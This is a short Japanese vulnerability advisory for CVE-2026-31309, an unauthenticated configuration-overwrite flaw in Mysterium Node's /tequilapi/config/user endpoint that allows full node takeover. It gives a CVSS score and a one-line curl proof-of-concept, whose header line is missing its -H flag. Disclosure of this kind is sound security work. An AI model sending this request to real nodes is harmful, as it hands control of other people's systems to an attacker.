CVE-2026-31309: Mysterium Node v1.36.0 未満における不適切なアクセス制御

Mysterium Node の v1.21.1-rc0 から v1.36.0 未満の /tequilapi/config/user エンドポイントにおける不適切な認可により、認証されていない攻撃者が細工した POST リクエストを介してノードの設定を任意に上書きし、ノードを完全に乗っ取ることが可能です。

CVSS

スコア: 9.8 (CRITICAL)

ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

PoC

curl -X POST \
    "Content-Type: application/json" \
    -d @config.json \
    http://<host>:<port>/tequilapi/config/user

発見者: Till Schacht.

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-31309